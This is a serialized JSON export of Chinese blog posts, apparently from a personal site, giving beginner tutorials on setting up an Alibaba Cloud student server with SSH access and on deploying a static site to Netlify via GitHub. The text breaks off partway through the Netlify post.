[{"data":1,"prerenderedAt":106670},["ShallowReactive",2],{"blog-posts":3},[4,678,2030,2946,2977,3378,4161,5163,5278,6999,8891,24908,27385,28075,28610,29678,30674,33334,34579,36661,38228,38873,41423,44164,47406,48954,51138,52779,55461,58899,60107,60668,61192,66920,69808,70407,70998,71928,75503,81145,84319,86802,87719,90384,91669,92876,94782,96414,98943,101460,105914],{"_path":5,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":9,"description":9,"date":10,"tags":11,"body":14,"_type":672,"_id":673,"_source":674,"_file":675,"_stem":676,"_extension":677},"\u002Fblog\u002F2026-06-14-aliyun-server-usage","blog",false,"","阿里云服务器（学生优惠版）","2026-06-14",[12,13],"阿里云","服务器",{"type":15,"children":16,"toc":656},"root",[17,26,33,39,50,59,65,70,95,112,120,124,130,136,148,153,178,190,198,204,209,238,243,251,257,262,267,275,281,286,336,342,347,362,375,380,392,400,413,421,424,430,535,538,544,650],{"type":18,"tag":19,"props":20,"children":22},"element","h2",{"id":21},"一购买服务器",[23],{"type":24,"value":25},"text","一、购买服务器",{"type":18,"tag":27,"props":28,"children":30},"h3",{"id":29},"_1-领取优惠券",[31],{"type":24,"value":32},"1. 领取优惠券",{"type":18,"tag":34,"props":35,"children":36},"p",{},[37],{"type":24,"value":38},"访问阿里云学生优惠页面领取优惠券：",{"type":18,"tag":34,"props":40,"children":41},{},[42],{"type":18,"tag":43,"props":44,"children":48},"a",{"href":45,"rel":46},"https:\u002F\u002Funiversity.aliyun.com\u002Fcourse\u002Fpromotion23-activity",[47],"nofollow",[49],{"type":24,"value":45},{"type":18,"tag":34,"props":51,"children":52},{},[53],{"type":18,"tag":54,"props":55,"children":58},"img",{"alt":56,"src":57},"学生优惠券页面","\u002Fimages\u002Fblog\u002Faliyun-server-usage\u002F1781335551132.png",[],{"type":18,"tag":27,"props":60,"children":62},{"id":61},"_2-选购服务器",[63],{"type":24,"value":64},"2. 选购服务器",{"type":18,"tag":34,"props":66,"children":67},{},[68],{"type":24,"value":69},"领取优惠券后，按以下步骤操作：",{"type":18,"tag":34,"props":71,"children":72},{},[73,80,82,88,89],{"type":18,"tag":74,"props":75,"children":77},"code",{"className":76},[],[78],{"type":24,"value":79},"选择云服务器（e 实例）",{"type":24,"value":81}," → ",{"type":18,"tag":74,"props":83,"children":85},{"className":84},[],[86],{"type":24,"value":87},"立即购买",{"type":24,"value":81},{"type":18,"tag":74,"props":90,"children":92},{"className":91},[],[93],{"type":24,"value":94},"支付",{"type":18,"tag":96,"props":97,"children":98},"blockquote",{},[99],{"type":18,"tag":34,"props":100,"children":101},{},[102,104,110],{"type":24,"value":103},"正常情况下使用优惠券后实付金额为 ",{"type":18,"tag":105,"props":106,"children":107},"strong",{},[108],{"type":24,"value":109},"0 元",{"type":24,"value":111},"。",{"type":18,"tag":34,"props":113,"children":114},{},[115],{"type":18,"tag":54,"props":116,"children":119},{"alt":117,"src":118},"选购服务器","\u002Fimages\u002Fblog\u002Faliyun-server-usage\u002F1781335651930.png",[],{"type":18,"tag":121,"props":122,"children":123},"hr",{},[],{"type":18,"tag":19,"props":125,"children":127},{"id":126},"二首次配置",[128],{"type":24,"value":129},"二、首次配置",{"type":18,"tag":27,"props":131,"children":133},{"id":132},"_1-分配公网-ip",[134],{"type":24,"value":135},"1. 分配公网 IP",{"type":18,"tag":34,"props":137,"children":138},{},[139,141,146],{"type":24,"value":140},"进入云服务器控制台，默认只显示",{"type":18,"tag":105,"props":142,"children":143},{},[144],{"type":24,"value":145},"私网 IP",{"type":24,"value":147},"（外网无法访问）。",{"type":18,"tag":34,"props":149,"children":150},{},[151],{"type":24,"value":152},"需手动分配公网 IP：",{"type":18,"tag":154,"props":155,"children":156},"ol",{},[157,163,173],{"type":18,"tag":158,"props":159,"children":160},"li",{},[161],{"type":24,"value":162},"点击「分配 IP」",{"type":18,"tag":158,"props":164,"children":165},{},[166,168],{"type":24,"value":167},"带宽选择 ",{"type":18,"tag":105,"props":169,"children":170},{},[171],{"type":24,"value":172},"3M",{"type":18,"tag":158,"props":174,"children":175},{},[176],{"type":24,"value":177},"点击「立即更改」",{"type":18,"tag":34,"props":179,"children":180},{},[181,183,188],{"type":24,"value":182},"绑定完成后会显示一串数字公网 IP，",{"type":18,"tag":105,"props":184,"children":185},{},[186],{"type":24,"value":187},"记下来",{"type":24,"value":189},"，后续远程登录需要使用。",{"type":18,"tag":34,"props":191,"children":192},{},[193],{"type":18,"tag":54,"props":194,"children":197},{"alt":195,"src":196},"分配公网IP","\u002Fimages\u002Fblog\u002Faliyun-server-usage\u002F1781336185797.png",[],{"type":18,"tag":27,"props":199,"children":201},{"id":200},"_2-重置密码",[202],{"type":24,"value":203},"2. 重置密码",{"type":18,"tag":34,"props":205,"children":206},{},[207],{"type":24,"value":208},"点击左上角「重置密码」：",{"type":18,"tag":210,"props":211,"children":212},"ul",{},[213,228],{"type":18,"tag":158,"props":214,"children":215},{},[216,221,223],{"type":18,"tag":105,"props":217,"children":218},{},[219],{"type":24,"value":220},"用户名",{"type":24,"value":222},"：",{"type":18,"tag":74,"props":224,"children":226},{"className":225},[],[227],{"type":24,"value":15},{"type":18,"tag":158,"props":229,"children":230},{},[231,236],{"type":18,"tag":105,"props":232,"children":233},{},[234],{"type":24,"value":235},"密码",{"type":24,"value":237},"：设置强密码",{"type":18,"tag":34,"props":239,"children":240},{},[241],{"type":24,"value":242},"设置完成后，机器会自动重启生效。",{"type":18,"tag":34,"props":244,"children":245},{},[246],{"type":18,"tag":54,"props":247,"children":250},{"alt":248,"src":249},"重置密码","\u002Fimages\u002Fblog\u002Faliyun-server-usage\u002F1781337444199.png",[],{"type":18,"tag":27,"props":252,"children":254},{"id":253},"_3-检查安全组规则",[255],{"type":24,"value":256},"3. 检查安全组规则",{"type":18,"tag":34,"props":258,"children":259},{},[260],{"type":24,"value":261},"点击「网络与安全组」，确认远程 SSH 连接端口（22 端口）已对外开放。",{"type":18,"tag":34,"props":263,"children":264},{},[265],{"type":24,"value":266},"以下为正常开放状态：",{"type":18,"tag":34,"props":268,"children":269},{},[270],{"type":18,"tag":54,"props":271,"children":274},{"alt":272,"src":273},"安全组规则","\u002Fimages\u002Fblog\u002Faliyun-server-usage\u002F1781338586204.png",[],{"type":18,"tag":27,"props":276,"children":278},{"id":277},"_4-远程连接服务器",[279],{"type":24,"value":280},"4. 远程连接服务器",{"type":18,"tag":34,"props":282,"children":283},{},[284],{"type":24,"value":285},"在本地电脑 PowerShell 中输入 SSH 连接指令：",{"type":18,"tag":287,"props":288,"children":292},"pre",{"className":289,"code":290,"language":291,"meta":8,"style":8},"language-bash shiki shiki-themes github-dark","ssh root@\u003C你的公网IP>\n","bash",[293],{"type":18,"tag":74,"props":294,"children":295},{"__ignoreMap":8},[296],{"type":18,"tag":297,"props":298,"children":301},"span",{"class":299,"line":300},"line",1,[302,308,314,320,325,331],{"type":18,"tag":297,"props":303,"children":305},{"style":304},"--shiki-default:#B392F0",[306],{"type":24,"value":307},"ssh",{"type":18,"tag":297,"props":309,"children":311},{"style":310},"--shiki-default:#9ECBFF",[312],{"type":24,"value":313}," root@",{"type":18,"tag":297,"props":315,"children":317},{"style":316},"--shiki-default:#F97583",[318],{"type":24,"value":319},"\u003C",{"type":18,"tag":297,"props":321,"children":322},{"style":310},[323],{"type":24,"value":324},"你的公网I",{"type":18,"tag":297,"props":326,"children":328},{"style":327},"--shiki-default:#E1E4E8",[329],{"type":24,"value":330},"P",{"type":18,"tag":297,"props":332,"children":333},{"style":316},[334],{"type":24,"value":335},">\n",{"type":18,"tag":337,"props":338,"children":340},"h4",{"id":339},"首次连接安全校验",[341],{"type":24,"value":339},{"type":18,"tag":34,"props":343,"children":344},{},[345],{"type":24,"value":346},"首次连接会出现以下安全提示：",{"type":18,"tag":96,"props":348,"children":349},{},[350],{"type":18,"tag":34,"props":351,"children":352},{},[353,355,360],{"type":24,"value":354},"This key is not known by any other names. Are you sure you want to continue connecting (yes\u002Fno\u002F",{"type":18,"tag":297,"props":356,"children":357},{},[358],{"type":24,"value":359},"fingerprint",{"type":24,"value":361},")?",{"type":18,"tag":34,"props":363,"children":364},{},[365,367,373],{"type":24,"value":366},"此时输入 ",{"type":18,"tag":74,"props":368,"children":370},{"className":369},[],[371],{"type":24,"value":372},"yes",{"type":24,"value":374}," 即可。本地会永久保存该服务器的指纹，下次连接不再弹出此提示。",{"type":18,"tag":337,"props":376,"children":378},{"id":377},"登录验证",[379],{"type":24,"value":377},{"type":18,"tag":34,"props":381,"children":382},{},[383,385,390],{"type":24,"value":384},"按下回车后，提示输入服务器 ",{"type":18,"tag":74,"props":386,"children":388},{"className":387},[],[389],{"type":24,"value":15},{"type":24,"value":391}," 账号的登录密码：",{"type":18,"tag":96,"props":393,"children":394},{},[395],{"type":18,"tag":34,"props":396,"children":397},{},[398],{"type":24,"value":399},"输入密码时屏幕不会显示字符，属于正常现象，输完直接回车即可。",{"type":18,"tag":34,"props":401,"children":402},{},[403,405,411],{"type":24,"value":404},"若显示 ",{"type":18,"tag":74,"props":406,"children":408},{"className":407},[],[409],{"type":24,"value":410},"Connection closed by \u003CIP> port 22",{"type":24,"value":412},"，请检查密码是否正确，然后重新连接。",{"type":18,"tag":34,"props":414,"children":415},{},[416],{"type":18,"tag":54,"props":417,"children":420},{"alt":418,"src":419},"SSH登录成功","\u002Fimages\u002Fblog\u002Faliyun-server-usage\u002F1781339285997.png",[],{"type":18,"tag":121,"props":422,"children":423},{},[],{"type":18,"tag":19,"props":425,"children":427},{"id":426},"三配置流程概览",[428],{"type":24,"value":429},"三、配置流程概览",{"type":18,"tag":431,"props":432,"children":433},"table",{},[434,458],{"type":18,"tag":435,"props":436,"children":437},"thead",{},[438],{"type":18,"tag":439,"props":440,"children":441},"tr",{},[442,448,453],{"type":18,"tag":443,"props":444,"children":445},"th",{},[446],{"type":24,"value":447},"步骤",{"type":18,"tag":443,"props":449,"children":450},{},[451],{"type":24,"value":452},"操作",{"type":18,"tag":443,"props":454,"children":455},{},[456],{"type":24,"value":457},"目的",{"type":18,"tag":459,"props":460,"children":461},"tbody",{},[462,481,499,517],{"type":18,"tag":439,"props":463,"children":464},{},[465,471,476],{"type":18,"tag":466,"props":467,"children":468},"td",{},[469],{"type":24,"value":470},"1",{"type":18,"tag":466,"props":472,"children":473},{},[474],{"type":24,"value":475},"分配公网 IP",{"type":18,"tag":466,"props":477,"children":478},{},[479],{"type":24,"value":480},"获取外网可访问的 IP 地址",{"type":18,"tag":439,"props":482,"children":483},{},[484,489,494],{"type":18,"tag":466,"props":485,"children":486},{},[487],{"type":24,"value":488},"2",{"type":18,"tag":466,"props":490,"children":491},{},[492],{"type":24,"value":493},"重置 root 密码",{"type":18,"tag":466,"props":495,"children":496},{},[497],{"type":24,"value":498},"设置安全的登录凭证",{"type":18,"tag":439,"props":500,"children":501},{},[502,507,512],{"type":18,"tag":466,"props":503,"children":504},{},[505],{"type":24,"value":506},"3",{"type":18,"tag":466,"props":508,"children":509},{},[510],{"type":24,"value":511},"检查安全组",{"type":18,"tag":466,"props":513,"children":514},{},[515],{"type":24,"value":516},"确保 SSH 端口（22）对外开放",{"type":18,"tag":439,"props":518,"children":519},{},[520,525,530],{"type":18,"tag":466,"props":521,"children":522},{},[523],{"type":24,"value":524},"4",{"type":18,"tag":466,"props":526,"children":527},{},[528],{"type":24,"value":529},"SSH 远程连接",{"type":18,"tag":466,"props":531,"children":532},{},[533],{"type":24,"value":534},"登录 Linux 终端开始使用",{"type":18,"tag":121,"props":536,"children":537},{},[],{"type":18,"tag":19,"props":539,"children":541},{"id":540},"四常见问题",[542],{"type":24,"value":543},"四、常见问题",{"type":18,"tag":431,"props":545,"children":546},{},[547,568],{"type":18,"tag":435,"props":548,"children":549},{},[550],{"type":18,"tag":439,"props":551,"children":552},{},[553,558,563],{"type":18,"tag":443,"props":554,"children":555},{},[556],{"type":24,"value":557},"问题",{"type":18,"tag":443,"props":559,"children":560},{},[561],{"type":24,"value":562},"可能原因",{"type":18,"tag":443,"props":564,"children":565},{},[566],{"type":24,"value":567},"解决方法",{"type":18,"tag":459,"props":569,"children":570},{},[571,589,607,625],{"type":18,"tag":439,"props":572,"children":573},{},[574,579,584],{"type":18,"tag":466,"props":575,"children":576},{},[577],{"type":24,"value":578},"连接被拒绝",{"type":18,"tag":466,"props":580,"children":581},{},[582],{"type":24,"value":583},"安全组未开放 22 端口",{"type":18,"tag":466,"props":585,"children":586},{},[587],{"type":24,"value":588},"检查安全组规则",{"type":18,"tag":439,"props":590,"children":591},{},[592,597,602],{"type":18,"tag":466,"props":593,"children":594},{},[595],{"type":24,"value":596},"连接超时",{"type":18,"tag":466,"props":598,"children":599},{},[600],{"type":24,"value":601},"公网 IP 未分配或网络不通",{"type":18,"tag":466,"props":603,"children":604},{},[605],{"type":24,"value":606},"确认已分配公网 IP",{"type":18,"tag":439,"props":608,"children":609},{},[610,615,620],{"type":18,"tag":466,"props":611,"children":612},{},[613],{"type":24,"value":614},"密码错误",{"type":18,"tag":466,"props":616,"children":617},{},[618],{"type":24,"value":619},"输入错误或密码未生效",{"type":18,"tag":466,"props":621,"children":622},{},[623],{"type":24,"value":624},"检查密码，确认机器已重启",{"type":18,"tag":439,"props":626,"children":627},{},[628,633,638],{"type":18,"tag":466,"props":629,"children":630},{},[631],{"type":24,"value":632},"首次连接提示",{"type":18,"tag":466,"props":634,"children":635},{},[636],{"type":24,"value":637},"SSH 安全校验",{"type":18,"tag":466,"props":639,"children":640},{},[641,643,648],{"type":24,"value":642},"输入 ",{"type":18,"tag":74,"props":644,"children":646},{"className":645},[],[647],{"type":24,"value":372},{"type":24,"value":649}," 确认即可",{"type":18,"tag":651,"props":652,"children":653},"style",{},[654],{"type":24,"value":655},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":8,"searchDepth":657,"depth":657,"links":658},2,[659,664,670,671],{"id":21,"depth":657,"text":25,"children":660},[661,663],{"id":29,"depth":662,"text":32},3,{"id":61,"depth":662,"text":64},{"id":126,"depth":657,"text":129,"children":665},[666,667,668,669],{"id":132,"depth":662,"text":135},{"id":200,"depth":662,"text":203},{"id":253,"depth":662,"text":256},{"id":277,"depth":662,"text":280},{"id":426,"depth":657,"text":429},{"id":540,"depth":657,"text":543},"markdown","content:blog:2026-06-14-aliyun-server-usage.md","content","blog\u002F2026-06-14-aliyun-server-usage.md","blog\u002F2026-06-14-aliyun-server-usage","md",{"_path":679,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":680,"description":681,"date":682,"tags":683,"body":688,"_type":672,"_id":2027,"_source":674,"_file":2028,"_stem":2029,"_extension":677},"\u002Fblog\u002F2026-06-08-netlify-deploy-static-site","Netlify部署静态网站","从零到一：使用Netlify部署静态网站，包括Git推送、自动部署、自定义域名及DNS配置全流程","2026-06-08",[684,685,686,687],"Netlify","GitHub","Git","静态网站部署",{"type":15,"children":689,"toc":2005},[690,697,703,709,719,724,748,758,763,833,861,867,967,970,976,1060,1065,1153,1156,1162,1168,1173,1185,1193,1199,1204,1212,1217,1225,1230,1235,1290,1306,1309,1315,1320,1351,1359,1364,1369,1376,1389,1397,1402,1415,1423,1428,1433,1440,1443,1449,1465,1471,1483,1506,1514,1520,1532,1540,1545,1557,1569,1577,1583,1588,1596,1602,1607,1615,1621,1626,1705,1749,1755,1760,1858,1866,1872,1885,1893,1896,1902,1989,2001],{"type":18,"tag":691,"props":692,"children":694},"h1",{"id":693},"netlify-部署静态网站",[695],{"type":24,"value":696},"Netlify 部署静态网站",{"type":18,"tag":19,"props":698,"children":700},{"id":699},"一部署前准备",[701],{"type":24,"value":702},"一、部署前准备",{"type":18,"tag":27,"props":704,"children":706},{"id":705},"_1-创建配置文件",[707],{"type":24,"value":708},"1. 创建配置文件",{"type":18,"tag":337,"props":710,"children":712},{"id":711},"gitignore",[713],{"type":18,"tag":74,"props":714,"children":716},{"className":715},[],[717],{"type":24,"value":718},".gitignore",{"type":18,"tag":34,"props":720,"children":721},{},[722],{"type":24,"value":723},"排除敏感文件和自动生成文件：",{"type":18,"tag":287,"props":725,"children":728},{"className":726,"code":727,"language":711,"meta":8,"style":8},"language-gitignore shiki shiki-themes github-dark","node_modules\u002F\n*.log\n",[729],{"type":18,"tag":74,"props":730,"children":731},{"__ignoreMap":8},[732,740],{"type":18,"tag":297,"props":733,"children":734},{"class":299,"line":300},[735],{"type":18,"tag":297,"props":736,"children":737},{},[738],{"type":24,"value":739},"node_modules\u002F\n",{"type":18,"tag":297,"props":741,"children":742},{"class":299,"line":657},[743],{"type":18,"tag":297,"props":744,"children":745},{},[746],{"type":24,"value":747},"*.log\n",{"type":18,"tag":337,"props":749,"children":751},{"id":750},"netlifytoml",[752],{"type":18,"tag":74,"props":753,"children":755},{"className":754},[],[756],{"type":24,"value":757},"netlify.toml",{"type":18,"tag":34,"props":759,"children":760},{},[761],{"type":24,"value":762},"Netlify 部署配置文件：",{"type":18,"tag":287,"props":764,"children":768},{"className":765,"code":766,"language":767,"meta":8,"style":8},"language-toml shiki shiki-themes github-dark","[build]\n  publish = \".\"\n\n[[redirects]]\n  from = \"\u002F*\"\n  to = \"\u002Findex.html\"\n  status = 200\n","toml",[769],{"type":18,"tag":74,"props":770,"children":771},{"__ignoreMap":8},[772,780,788,797,806,815,824],{"type":18,"tag":297,"props":773,"children":774},{"class":299,"line":300},[775],{"type":18,"tag":297,"props":776,"children":777},{},[778],{"type":24,"value":779},"[build]\n",{"type":18,"tag":297,"props":781,"children":782},{"class":299,"line":657},[783],{"type":18,"tag":297,"props":784,"children":785},{},[786],{"type":24,"value":787},"  publish = \".\"\n",{"type":18,"tag":297,"props":789,"children":790},{"class":299,"line":662},[791],{"type":18,"tag":297,"props":792,"children":794},{"emptyLinePlaceholder":793},true,[795],{"type":24,"value":796},"\n",{"type":18,"tag":297,"props":798,"children":800},{"class":299,"line":799},4,[801],{"type":18,"tag":297,"props":802,"children":803},{},[804],{"type":24,"value":805},"[[redirects]]\n",{"type":18,"tag":297,"props":807,"children":809},{"class":299,"line":808},5,[810],{"type":18,"tag":297,"props":811,"children":812},{},[813],{"type":24,"value":814},"  from = \"\u002F*\"\n",{"type":18,"tag":297,"props":816,"children":818},{"class":299,"line":817},6,[819],{"type":18,"tag":297,"props":820,"children":821},{},[822],{"type":24,"value":823},"  to = \"\u002Findex.html\"\n",{"type":18,"tag":297,"props":825,"children":827},{"class":299,"line":826},7,[828],{"type":18,"tag":297,"props":829,"children":830},{},[831],{"type":24,"value":832},"  status = 200\n",{"type":18,"tag":96,"props":834,"children":835},{},[836],{"type":18,"tag":34,"props":837,"children":838},{},[839,844,845,851,853,859],{"type":18,"tag":105,"props":840,"children":841},{},[842],{"type":24,"value":843},"说明",{"type":24,"value":222},{"type":18,"tag":74,"props":846,"children":848},{"className":847},[],[849],{"type":24,"value":850},"redirects",{"type":24,"value":852}," 规则确保刷新任何页面时都返回 ",{"type":18,"tag":74,"props":854,"children":856},{"className":855},[],[857],{"type":24,"value":858},"index.html",{"type":24,"value":860},"（SPA 的 fallback 机制）。",{"type":18,"tag":27,"props":862,"children":864},{"id":863},"_2-初始化-git-仓库并推送",[865],{"type":24,"value":866},"2. 初始化 Git 仓库并推送",{"type":18,"tag":287,"props":868,"children":870},{"className":289,"code":869,"language":291,"meta":8,"style":8},"git add .\ngit commit -m \"Initial commit\"\ngit remote add origin https:\u002F\u002Fgithub.com\u002F你的用户名\u002Fenglish-exam-site.git\ngit push -u origin main\n",[871],{"type":18,"tag":74,"props":872,"children":873},{"__ignoreMap":8},[874,892,915,941],{"type":18,"tag":297,"props":875,"children":876},{"class":299,"line":300},[877,882,887],{"type":18,"tag":297,"props":878,"children":879},{"style":304},[880],{"type":24,"value":881},"git",{"type":18,"tag":297,"props":883,"children":884},{"style":310},[885],{"type":24,"value":886}," add",{"type":18,"tag":297,"props":888,"children":889},{"style":310},[890],{"type":24,"value":891}," .\n",{"type":18,"tag":297,"props":893,"children":894},{"class":299,"line":657},[895,899,904,910],{"type":18,"tag":297,"props":896,"children":897},{"style":304},[898],{"type":24,"value":881},{"type":18,"tag":297,"props":900,"children":901},{"style":310},[902],{"type":24,"value":903}," commit",{"type":18,"tag":297,"props":905,"children":907},{"style":906},"--shiki-default:#79B8FF",[908],{"type":24,"value":909}," -m",{"type":18,"tag":297,"props":911,"children":912},{"style":310},[913],{"type":24,"value":914}," \"Initial commit\"\n",{"type":18,"tag":297,"props":916,"children":917},{"class":299,"line":662},[918,922,927,931,936],{"type":18,"tag":297,"props":919,"children":920},{"style":304},[921],{"type":24,"value":881},{"type":18,"tag":297,"props":923,"children":924},{"style":310},[925],{"type":24,"value":926}," remote",{"type":18,"tag":297,"props":928,"children":929},{"style":310},[930],{"type":24,"value":886},{"type":18,"tag":297,"props":932,"children":933},{"style":310},[934],{"type":24,"value":935}," origin",{"type":18,"tag":297,"props":937,"children":938},{"style":310},[939],{"type":24,"value":940}," https:\u002F\u002Fgithub.com\u002F你的用户名\u002Fenglish-exam-site.git\n",{"type":18,"tag":297,"props":942,"children":943},{"class":299,"line":799},[944,948,953,958,962],{"type":18,"tag":297,"props":945,"children":946},{"style":304},[947],{"type":24,"value":881},{"type":18,"tag":297,"props":949,"children":950},{"style":310},[951],{"type":24,"value":952}," push",{"type":18,"tag":297,"props":954,"children":955},{"style":906},[956],{"type":24,"value":957}," -u",{"type":18,"tag":297,"props":959,"children":960},{"style":310},[961],{"type":24,"value":935},{"type":18,"tag":297,"props":963,"children":964},{"style":310},[965],{"type":24,"value":966}," main\n",{"type":18,"tag":121,"props":968,"children":969},{},[],{"type":18,"tag":19,"props":971,"children":973},{"id":972},"二netlify-部署流程概览",[974],{"type":24,"value":975},"二、Netlify 部署流程概览",{"type":18,"tag":431,"props":977,"children":978},{},[979,993],{"type":18,"tag":435,"props":980,"children":981},{},[982],{"type":18,"tag":439,"props":983,"children":984},{},[985,989],{"type":18,"tag":443,"props":986,"children":987},{},[988],{"type":24,"value":447},{"type":18,"tag":443,"props":990,"children":991},{},[992],{"type":24,"value":452},{"type":18,"tag":459,"props":994,"children":995},{},[996,1016,1028,1040],{"type":18,"tag":439,"props":997,"children":998},{},[999,1003],{"type":18,"tag":466,"props":1000,"children":1001},{},[1002],{"type":24,"value":470},{"type":18,"tag":466,"props":1004,"children":1005},{},[1006,1008,1014],{"type":24,"value":1007},"打开 ",{"type":18,"tag":43,"props":1009,"children":1012},{"href":1010,"rel":1011},"https:\u002F\u002Fapp.netlify.com",[47],[1013],{"type":24,"value":684},{"type":24,"value":1015}," → Add new site → Import an existing project",{"type":18,"tag":439,"props":1017,"children":1018},{},[1019,1023],{"type":18,"tag":466,"props":1020,"children":1021},{},[1022],{"type":24,"value":488},{"type":18,"tag":466,"props":1024,"children":1025},{},[1026],{"type":24,"value":1027},"选择 GitHub → 授权 → 选择仓库",{"type":18,"tag":439,"props":1029,"children":1030},{},[1031,1035],{"type":18,"tag":466,"props":1032,"children":1033},{},[1034],{"type":24,"value":506},{"type":18,"tag":466,"props":1036,"children":1037},{},[1038],{"type":24,"value":1039},"配置部署设置",{"type":18,"tag":439,"props":1041,"children":1042},{},[1043,1047],{"type":18,"tag":466,"props":1044,"children":1045},{},[1046],{"type":24,"value":524},{"type":18,"tag":466,"props":1048,"children":1049},{},[1050,1052,1058],{"type":24,"value":1051},"点击 Deploy site，之后每次 ",{"type":18,"tag":74,"props":1053,"children":1055},{"className":1054},[],[1056],{"type":24,"value":1057},"git push",{"type":24,"value":1059}," 自动重新部署",{"type":18,"tag":27,"props":1061,"children":1063},{"id":1062},"部署配置参考",[1064],{"type":24,"value":1062},{"type":18,"tag":431,"props":1066,"children":1067},{},[1068,1088],{"type":18,"tag":435,"props":1069,"children":1070},{},[1071],{"type":18,"tag":439,"props":1072,"children":1073},{},[1074,1079,1084],{"type":18,"tag":443,"props":1075,"children":1076},{},[1077],{"type":24,"value":1078},"配置项",{"type":18,"tag":443,"props":1080,"children":1081},{},[1082],{"type":24,"value":1083},"值",{"type":18,"tag":443,"props":1085,"children":1086},{},[1087],{"type":24,"value":843},{"type":18,"tag":459,"props":1089,"children":1090},{},[1091,1113,1131],{"type":18,"tag":439,"props":1092,"children":1093},{},[1094,1099,1108],{"type":18,"tag":466,"props":1095,"children":1096},{},[1097],{"type":24,"value":1098},"Branch to deploy",{"type":18,"tag":466,"props":1100,"children":1101},{},[1102],{"type":18,"tag":74,"props":1103,"children":1105},{"className":1104},[],[1106],{"type":24,"value":1107},"main",{"type":18,"tag":466,"props":1109,"children":1110},{},[1111],{"type":24,"value":1112},"部署分支",{"type":18,"tag":439,"props":1114,"children":1115},{},[1116,1121,1126],{"type":18,"tag":466,"props":1117,"children":1118},{},[1119],{"type":24,"value":1120},"Build command",{"type":18,"tag":466,"props":1122,"children":1123},{},[1124],{"type":24,"value":1125},"留空",{"type":18,"tag":466,"props":1127,"children":1128},{},[1129],{"type":24,"value":1130},"无构建步骤",{"type":18,"tag":439,"props":1132,"children":1133},{},[1134,1139,1148],{"type":18,"tag":466,"props":1135,"children":1136},{},[1137],{"type":24,"value":1138},"Publish directory",{"type":18,"tag":466,"props":1140,"children":1141},{},[1142],{"type":18,"tag":74,"props":1143,"children":1145},{"className":1144},[],[1146],{"type":24,"value":1147},".",{"type":18,"tag":466,"props":1149,"children":1150},{},[1151],{"type":24,"value":1152},"发布目录",{"type":18,"tag":121,"props":1154,"children":1155},{},[],{"type":18,"tag":19,"props":1157,"children":1159},{"id":1158},"三实战部署过程",[1160],{"type":24,"value":1161},"三、实战部署过程",{"type":18,"tag":27,"props":1163,"children":1165},{"id":1164},"_1-推送至-github-远程仓库",[1166],{"type":24,"value":1167},"1. 推送至 GitHub 远程仓库",{"type":18,"tag":337,"props":1169,"children":1171},{"id":1170},"项目结构",[1172],{"type":24,"value":1170},{"type":18,"tag":34,"props":1174,"children":1175},{},[1176,1178,1184],{"type":24,"value":1177},"当前部署的项目为 ",{"type":18,"tag":74,"props":1179,"children":1181},{"className":1180},[],[1182],{"type":24,"value":1183},"english-exam-site",{"type":24,"value":222},{"type":18,"tag":34,"props":1186,"children":1187},{},[1188],{"type":18,"tag":54,"props":1189,"children":1192},{"alt":1190,"src":1191},"项目文件结构","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780918601373.png",[],{"type":18,"tag":337,"props":1194,"children":1196},{"id":1195},"创建-github-仓库",[1197],{"type":24,"value":1198},"创建 GitHub 仓库",{"type":18,"tag":34,"props":1200,"children":1201},{},[1202],{"type":24,"value":1203},"打开 GitHub，新建项目：",{"type":18,"tag":34,"props":1205,"children":1206},{},[1207],{"type":18,"tag":54,"props":1208,"children":1211},{"alt":1209,"src":1210},"GitHub新建仓库","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780918702810.png",[],{"type":18,"tag":34,"props":1213,"children":1214},{},[1215],{"type":24,"value":1216},"复制远程仓库链接：",{"type":18,"tag":34,"props":1218,"children":1219},{},[1220],{"type":18,"tag":54,"props":1221,"children":1224},{"alt":1222,"src":1223},"复制仓库链接","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780918756115.png",[],{"type":18,"tag":337,"props":1226,"children":1228},{"id":1227},"推送代码",[1229],{"type":24,"value":1227},{"type":18,"tag":34,"props":1231,"children":1232},{},[1233],{"type":24,"value":1234},"在本地 Git 命令行执行：",{"type":18,"tag":287,"props":1236,"children":1238},{"className":289,"code":1237,"language":291,"meta":8,"style":8},"git remote add origin git@github.com:Couioly\u002Fenglish-exam-site.git\ngit push -u origin master\n",[1239],{"type":18,"tag":74,"props":1240,"children":1241},{"__ignoreMap":8},[1242,1266],{"type":18,"tag":297,"props":1243,"children":1244},{"class":299,"line":300},[1245,1249,1253,1257,1261],{"type":18,"tag":297,"props":1246,"children":1247},{"style":304},[1248],{"type":24,"value":881},{"type":18,"tag":297,"props":1250,"children":1251},{"style":310},[1252],{"type":24,"value":926},{"type":18,"tag":297,"props":1254,"children":1255},{"style":310},[1256],{"type":24,"value":886},{"type":18,"tag":297,"props":1258,"children":1259},{"style":310},[1260],{"type":24,"value":935},{"type":18,"tag":297,"props":1262,"children":1263},{"style":310},[1264],{"type":24,"value":1265}," git@github.com:Couioly\u002Fenglish-exam-site.git\n",{"type":18,"tag":297,"props":1267,"children":1268},{"class":299,"line":657},[1269,1273,1277,1281,1285],{"type":18,"tag":297,"props":1270,"children":1271},{"style":304},[1272],{"type":24,"value":881},{"type":18,"tag":297,"props":1274,"children":1275},{"style":310},[1276],{"type":24,"value":952},{"type":18,"tag":297,"props":1278,"children":1279},{"style":906},[1280],{"type":24,"value":957},{"type":18,"tag":297,"props":1282,"children":1283},{"style":310},[1284],{"type":24,"value":935},{"type":18,"tag":297,"props":1286,"children":1287},{"style":310},[1288],{"type":24,"value":1289}," master\n",{"type":18,"tag":96,"props":1291,"children":1292},{},[1293],{"type":18,"tag":34,"props":1294,"children":1295},{},[1296,1298,1304],{"type":24,"value":1297},"注意：将 ",{"type":18,"tag":74,"props":1299,"children":1301},{"className":1300},[],[1302],{"type":24,"value":1303},"git@github.com:Couioly\u002Fenglish-exam-site.git",{"type":24,"value":1305}," 替换为你刚才复制的远程仓库链接。",{"type":18,"tag":121,"props":1307,"children":1308},{},[],{"type":18,"tag":27,"props":1310,"children":1312},{"id":1311},"_2-连接-netlify",[1313],{"type":24,"value":1314},"2. 连接 